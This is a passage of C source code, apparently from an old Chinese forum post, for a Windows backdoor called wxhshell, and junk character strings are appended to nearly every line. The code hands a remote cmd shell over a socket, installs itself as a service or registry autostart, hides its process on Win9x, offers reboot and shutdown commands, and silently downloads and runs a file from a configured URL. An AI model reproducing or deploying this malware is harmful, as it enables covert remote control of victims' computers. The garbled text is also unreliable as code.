  I=`U7Bis"  
  // 帮助 Fj2BnM3#  
  case '?': { ;~m8;8)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); , s"^kFl  
    break; #V~me  
  } a .k.n<  
  // 安装 0Qf,@^zL*  
  case 'i': { P/W XaE4  
    if(Install()) [M=7M}f;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QTk}h_<u  
    else !$gR{XH$]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GjvOM y  
    break; VA#"r!1  
    } I&x=;   
  // 卸载 3YR!Mq$|~  
  case 'r': { 0AL=S$B)  
    if(Uninstall()) p8Qk 'F=h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fHx*e'eA  
    else vdc\R?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gCB |DY  
    break; x??+~$}\*-  
    } Swig;`  
  // 显示 wxhshell 所在路径 B|C2lu  
  case 'p': { c(xrP/yOwi  
    char svExeFile[MAX_PATH]; Ng2twfSl$  
    strcpy(svExeFile,"\n\r"); \@c,3  
      strcat(svExeFile,ExeFile); 52Z2]T c ,  
        send(wsh,svExeFile,strlen(svExeFile),0); Yg||{  
    break; &]|?o_p3W  
    }  iu=7O  
  // 重启 :(P9mt  
  case 'b': { 8e1UmM[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3YOq2pW72G  
    if(Boot(REBOOT)) "*e$aTZB\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #A JDWelD  
    else { RbOUfD(J4  
    closesocket(wsh); }C"%p8=HM  
    ExitThread(0); V^bwXr4f  
    } 6 ob@[ @  
    break; p>v$FiV2N  
    } 3M[! N  
  // 关机 ZbW17@b  
  case 'd': { Y!w`YYKP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wd8 l$*F*  
    if(Boot(SHUTDOWN)) *&^Pj%DX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B" 1c  
    else { Bq%Jh  
    closesocket(wsh); |4;Fd9q^m  
    ExitThread(0); 0d)M\lG  
    } IL#"~D?  
    break; PUMXOTu]  
    } 2lH&  
  // 获取shell HdUQCugxx:  
  case 's': { 7rc0yB  
    CmdShell(wsh); o,\$ZxSlm  
    closesocket(wsh); :+^lJ&{U  
    ExitThread(0); *K8$eDNZ  
    break; hd%F nykq  
  } '}53f2%gKa  
  // 退出 J?"B%B5c  
  case 'x': { {4<C_52t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N2^=E1|_  
    CloseIt(wsh); !C ':  
    break; uP)'FI  
    } _^Ubs>d=*  
  // 离开 /L g)i\R;  
  case 'q': { g[' ^L +hd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8Z8gRcv{p  
    closesocket(wsh); 2j [=\K]  
    WSACleanup(); C!<Ou6}!b  
    exit(1); XPXIg  
    break; )4e.k$X^  
        } vtg !8u4  
  } |.: q  
  } i#n0U/  
y@S$^jk.  
  // 提示信息 3)<yod=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k_#ak%m/  
} t%0VJB,Q2  
  } tKOmoC  
{L{o]Ii?g  
  return; 1hY{k{+o  
} HmGWht6R  
o q Xg  
// shell模块句柄 {3mRq"e  
int CmdShell(SOCKET sock) EHJ.T~X  
{ ( Y[Q,  
STARTUPINFO si; m]6mGp  
ZeroMemory(&si,sizeof(si)); L\J;J%fz.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `,<BCu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hn G Z=  
PROCESS_INFORMATION ProcessInfo; PJ|P1O36a  
char cmdline[]="cmd"; me$Z~/Akm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AlaW=leTe  
  return 0; cA?W7D  
} AofKw  
y%cP1y)  
// 自身启动模式 hED}h![  
int StartFromService(void) g wRZ%.Cn  
{ `r6,+&  
typedef struct UcHJR"M~c  
{ Rsm^Z!sn  
  DWORD ExitStatus; yS'I[l  
  DWORD PebBaseAddress; -$ls(oot  
  DWORD AffinityMask; 4SxX3Fw  
  DWORD BasePriority; q"lSZ; 'E  
  ULONG UniqueProcessId; -=Q*Ml#I  
  ULONG InheritedFromUniqueProcessId; +5*95-;0  
}   PROCESS_BASIC_INFORMATION; >1Ibc=}g  
)D7m,Wi+  
PROCNTQSIP NtQueryInformationProcess; D%pF;XY  
`4J$Et%S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l ukB8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m=:9+z  
p?OoC  
  HANDLE             hProcess; Dw.J2>uj  
  PROCESS_BASIC_INFORMATION pbi; k1~&x$G  
e#8Q L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H/ HMm{4  
  if(NULL == hInst ) return 0; C ;W"wBz9  
lTgjq:mn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IM'r8 V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K;G~V\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p8O2Z? \  
:P~6~ K um  
  if (!NtQueryInformationProcess) return 0; ?);v`]  
1.GQau~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7>%8eEc  
  if(!hProcess) return 0; `*R:gE=  
Ee! 4xg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {%H'z$|{  
BX7kO0j  
  CloseHandle(hProcess); D/&o& G96  
T.BW H2gRP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zTSTEOP}%Y  
if(hProcess==NULL) return 0; XNkn|q2  
UB@+c k  
HMODULE hMod; pz*3N  
char procName[255]; F^;ez/Gl  
unsigned long cbNeeded; V b?oJhR  
^\=`edN0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^jZbo {  
m<Dy<((_I  
  CloseHandle(hProcess); FTUv IbT  
LU%E:i|  
if(strstr(procName,"services")) return 1; // 以服务启动 yR{3!{r3(  
f.$af4 u  
  return 0; // 注册表启动 C_JNX9wv  
} ^hM4j{|&M  
*.t 7G  
// 主模块 .W!i7  
int StartWxhshell(LPSTR lpCmdLine) (hbyEQhF  
{ O_7|C\]  
  SOCKET wsl; VY4yS*y  
BOOL val=TRUE; _]H&,</  
  int port=0; yvB.&<]No  
  struct sockaddr_in door; Z@!+v 19^  
mz0X3  
  if(wscfg.ws_autoins) Install(); hRhe& ,v  
YNF k  
port=atoi(lpCmdLine); 7Ak6,BuI%  
5U$0F$BBp  
if(port<=0) port=wscfg.ws_port; ]N?kG`[  
^u ~Q/ 4  
  WSADATA data; 0aB;p7~&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !Wnb|=j  
oZ|\vA%4^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !%c\N8<>GD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )jP1or  
  door.sin_family = AF_INET; Yc?*dUV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e(t\g^X  
  door.sin_port = htons(port); @:#eb1 <S  
p<"mt]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zQd 2  
closesocket(wsl); )+DmOsH  
return 1; 8{sGNCvU  
} x7[BK_SY  
0\P1; ak%  
  if(listen(wsl,2) == INVALID_SOCKET) { Ad_h K O  
closesocket(wsl); M8(t 'jN  
return 1; 4H&+dR I"  
} Rima;9.Y0  
  Wxhshell(wsl); AoxA+.O  
  WSACleanup(); U>N1Od4vTO  
m9rp8r*e  
return 0; T_4/C2  
,k3FRes3  
} ISvpQ 3{)s  
S<Xf>-8w  
// 以NT服务方式启动 4^:=xL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "4{r6[dn  
{ wf<M)Rs|  
DWORD   status = 0; }BP;1y6-r  
  DWORD   specificError = 0xfffffff; KbeC"mi  
Qvhl4-XjZa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]c'A%:f<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C?eH]hkZ3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <Q3c[ Y  
  serviceStatus.dwWin32ExitCode     = 0; .$vK&k  
  serviceStatus.dwServiceSpecificExitCode = 0; 7qS)c}Q\  
  serviceStatus.dwCheckPoint       = 0; Y}wyw8g/  
  serviceStatus.dwWaitHint       = 0; G4"F+%.  
5r ^(P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cw&KVw*  
  if (hServiceStatusHandle==0) return; G"A#Q"  
WH^%:4  
status = GetLastError(); a\*yZlXKs  
  if (status!=NO_ERROR) 5nx1i  
{ w``U=sfmV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >^3i|PB  
    serviceStatus.dwCheckPoint       = 0; Qo|\-y-#  
    serviceStatus.dwWaitHint       = 0; PCtzl )  
    serviceStatus.dwWin32ExitCode     = status; k!Y, 63V=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7@W>E;go  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H<+TR6k<  
    return; Xsa].  
  } cw <l{A  
& 1f+,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dSHDWu&  
  serviceStatus.dwCheckPoint       = 0; AA>P`C$&M  
  serviceStatus.dwWaitHint       = 0; 2D5StCF$O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); La[V$+Y  
} [Y`W  
]7A'7p $Y  
// 处理NT服务事件,比如:启动、停止 493*{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7b+6%fV  
{ hM! a_'  
switch(fdwControl) 5|)W.*Q  
{ d&>^&>?$zh  
case SERVICE_CONTROL_STOP: 5)X=*I  
  serviceStatus.dwWin32ExitCode = 0; cFXp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GTHt'[t@;  
  serviceStatus.dwCheckPoint   = 0; $%f&a3#  
  serviceStatus.dwWaitHint     = 0; I7 ]8Y=xf  
  { N?8!3&TiV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f _:A0  
  } Zv{'MIv&v  
  return; n `Ac 3A  
case SERVICE_CONTROL_PAUSE: #KvlYZ+1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CWKm(@"5  
  break; (/$^uWj  
case SERVICE_CONTROL_CONTINUE: RxQ*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E"IZ6)Q  
  break; Dw"\/p:-3  
case SERVICE_CONTROL_INTERROGATE: ;n;p@Uu[ b  
  break; Q/Rqa5LI:  
}; h{qgEIk&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8eRLy/`gd  
} #<xm.  
6aj!Q*(WT  
// 标准应用程序主函数 \{NO?%s0p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VIbq:U  
{ o4WDh@d5S  
N2o7%gJw  
// 获取操作系统版本 C,eu9wOT  
OsIsNt=GetOsVer(); nJ;.Td  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .6J$,.Ig  
_Z\G5x  
  // 从命令行安装 F"mmLao  
  if(strpbrk(lpCmdLine,"iI")) Install(); %"-5 <6d  
%z$#6?OK^  
  // 下载执行文件 !()Qm,1u  
if(wscfg.ws_downexe) { ;9#KeA _  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J .<F"r>  
  WinExec(wscfg.ws_filenam,SW_HIDE); [G3E%z  
} yt2PU_),  
RM/ 0A|  
if(!OsIsNt) { fN2lLn9/u  
// 如果时win9x,隐藏进程并且设置为注册表启动 CvdN"k  
HideProc(); -:rUw$3J  
StartWxhshell(lpCmdLine); wuo,kM  
} 8 FhdN  
else iURe([@  
  if(StartFromService()) B-mowmJ3dg  
  // 以服务方式启动 }-2|XD%]  
  StartServiceCtrlDispatcher(DispatchTable); |':{lH6+1  
else _"{Xi2@H  
  // 普通方式启动 'N(R_q6MW  
  StartWxhshell(lpCmdLine); G+m }MOQP7  
MqMQtU9w  
return 0; z(~_AN M4,  
}
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只看该作者 1 发表于: 2006-10-10
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